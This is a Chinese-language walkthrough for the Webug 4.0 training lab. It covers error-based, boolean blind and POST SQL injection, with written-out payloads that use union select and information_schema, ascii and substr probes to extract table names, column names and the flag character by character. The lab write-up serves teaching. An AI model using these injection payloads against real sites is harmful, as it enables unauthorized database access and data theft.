Webug 4.0靶场通关笔记(注入篇)

Webug 4.0靶场通关笔记(注入篇)

webug这个 靶场很早的时候就接触过了,当时还是3.0的靶场,需要开虚拟机才能运行。现在4.0也出来了,并且支持源码安装。所以我也打算重新做一遍,把自己的解题思路都写一遍。这里我按漏洞类型分类,这篇全部是关于注入的。

我是在本机上采用源码安装的,这里就不介绍安装过程了,官方文档很详细了。注意用PHPstudy的时候一定要切换php的版本为5.5,默认的无法显示报错。

后台用户密码都是admin,进入到后台页面。我们选择注入的漏洞类型。

感觉提供的漏洞还是蛮多,不废话了,直接开干。

  • 显错注入

我们先修改参数为2,显示hello。

单引号报错,根据回显判断是字符型。

order by 3时触发报错,说明有两列。

判断位置,前面的id参数改为-1是给union查询让出位置。可以确定显示参数的位置为2,我们之后的查询放在2的位置即可。

查询当前数据库为webug,接下来就是爆表。

发现了存在flag的表。

由于sql语句较长,我们可以使用hackbar直接生成payload,非常方便。

然后选择列数和查询所在的位置。

查询flag表下面的列名。

 

拿到flag!

  • 布尔注入

而在盲注的sql查询中,服务器只会返回是,不是两种回答,因此就给我们的注入带来了麻烦,手工盲注的工作量是普通注入的几十倍之多,一般来说我们采用自动化注入工具,如sqlmap来实现,但在这里我还是演示手工盲注的思路。

这道题和上面的区别只是没有了报错显示,只能根据是否有回显来判断注入是否正确,但是思路是相同的。

根据回显判断同样是字符型。

order by查询多少列和上面一样。但记住一点,有返回就是正确的,没返回就代表有错

拿上面的图来说,如果我们进行盲注,直接输入2' union select 1,database();#
页面只会返回一个hello,我们不能据此得到什么,因此我们如果想要得到数据库的名字,那么我们首先需要猜测数据库名字的长度,接着一个字母一个字母的猜测,根据服务器返回的确认信息,一一确认每个字母。

step1 判断是否存在注入,以及注入类型

通常的,我们采取单引号测试法进行判断是否存在注入漏洞,上面我们已经判断出来了。

step2 猜测数据库中表的数量

分别输入

1' and (select count(table_name) from information_schema.tables where table_schema=database())<5#  不存在


1' and (select count(table_name) from information_schema.tables where table_schema=database())<10#  存在

说明我们的表数量在5-10之间,我们逐一测试发现表数量为7。

step3 猜测每个表的名字

猜测表名之前,我们应该猜测每个表表名的长度

猜测第一个表名的长度

2' and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>5#  存在

2' and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)<10#  存在

说明第一个表名的长度在5和10之间。通过二分查找,会比逐一比较快很多。

同理,

猜测第二个表名的长度

1' and (select length(table_name) from information_schema.tables where table_schema=database() limit 1,1)>5# 存在

1' and (select length(table_name) from information_schema.tables where table_schema=database() limit 1,1)<10# 存在

…………

即第二个表名的长度为8

可能很多人在学习sql的时候没有关注到limit,这里提一下limit的用法

select * from table LIMIT 5,10; #返回第6-15行数据
select * from table LIMIT 5; #返回前5行
select * from table LIMIT 0,5; #返回前5行

总结:

limit a,b  #返回第a+1至a+b行的数据

在猜测完表名的长度后,我们就可以进行表名的猜测了,这里一个一个字母的猜

猜测第一个表的表名

2' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97# 存在
2' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<122# 存在
2' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>109# 不存在
2' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<103# 存在
2' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>99# 存在
2' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=100#  存在

同理,以此类推可得第一个表名为data_crud

猜测第二个表的表名

和上面一样。知道注出我们需要的表,显然这里我们需要的是flag表。

这里提一下substr的用法
一般有两种
SBUSTR(str,pos);
就是从pos开始的位置,一直截取到最后
SUBSTR(str,pos,len);
这种表示的意思是,就是从pos开始的位置,截取len个字符(空白也算字符)。

step4 猜测flag表中每列的名字

猜测flag表的字段数

2' and (select count(column_name) from information_schema.columns where table_name='flag')=1#        不成功
2' and (select count(column_name) from information_schema.columns where table_name='flag')=2#        成功

猜测flag表每一列的长度

2' and length(substr((select column_name from information_schema.columns where table_name='flag' limit 0,1),1))=1#不存在
2' and length(substr((select column_name from information_schema.columns where table_name='flag' limit 0,1),1))=2# 存在
第一列列名长度为2

2' and length(substr((select column_name from information_schema.columns where table_name='flag' limit 1,1),1))=2#不存在
2' and length(substr((select column_name from information_schema.columns where table_name='flag' limit 1,1),1))=4# 存在

第二列列名长度为2

所以两列列名的长度分别为2,4

我们可以猜测,分别为id和flag。因为做过第一题,已经知道列名了哈哈,再测试下即可。

2' and ascii(substr((select column_name from information_schema.columns where table_name='flag' limit 0,1),1,1))=105# 存在

2' and ascii(substr((select column_name from information_schema.columns where table_name='flag' limit 0,1),1,1))=100# 存在

说明我们的猜测也完全正确。

我们可以以此类推,直至将id,flag的信息全部猜出,因为我们需要flag,只需第二个字段即可。

2' and ascii(substr((select flag from flag limit 0,1),1,1))=100#   d
2' and ascii(substr((select flag from flag limit 0,1),2,1))=102#   f
2' and ascii(substr((select flag from flag limit 0,1),3,1))=97#     a
2' and ascii(substr((select flag from flag limit 0,1),4,1))=102#   f
2' and ascii(substr((select flag from flag limit 0,1),5,1))=100#   d
2' and ascii(substr((select flag from flag limit 0,1),6,1))=97#     a
2' and ascii(substr((select flag from flag limit 0,1),7,1))=115#    s
2' and ascii(substr((select flag from flag limit 0,1),8,1))=102#   f
2' and ascii(substr((select flag from flag limit 0,1),9,1))=97#     a
2' and ascii(substr((select flag from flag limit 0,1),10,1))=102# f
2' and ascii(substr((select flag from flag limit 0,1),11,1))=100# d
2' and ascii(substr((select flag from flag limit 0,1),12,1))=115#  s
2' and ascii(substr((select flag from flag limit 0,1),13,1))=97#   a
2' and ascii(substr((select flag from flag limit 0,1),14,1))=100#d
2' and ascii(substr((select flag from flag limit 0,1),15,1))=102# f
2' and ascii(substr((select flag from flag limit 0,1),16,1))=97#   a

从上到下,就依次是我们的flag了。

总结:布尔盲注手工测试非常需要耐心,熟悉原理后建议使用sqlmap。

  • post注入

其实这个和第一关没有本质的区别,只是将内容post提交,没有在地址栏显示。先搜索一个单引号。

发现引发了报错,还显示了sql语句。

同样hackbar一把梭。

接着还是查询位置。

没有报错,但是页面上面找不到我们的字符串。这里为什么我没有用1,2来查找位置呢,而是用这种很长的字符串代替呢?

因为页面上内容很多的时候,1,2出现的次数可能很多,不容易找到从而确定位置。

之后的步骤就和上面的布尔盲注相同了。

zgao

如果有什么技术上的问题,可以加我的qq 1761321396 一起交流。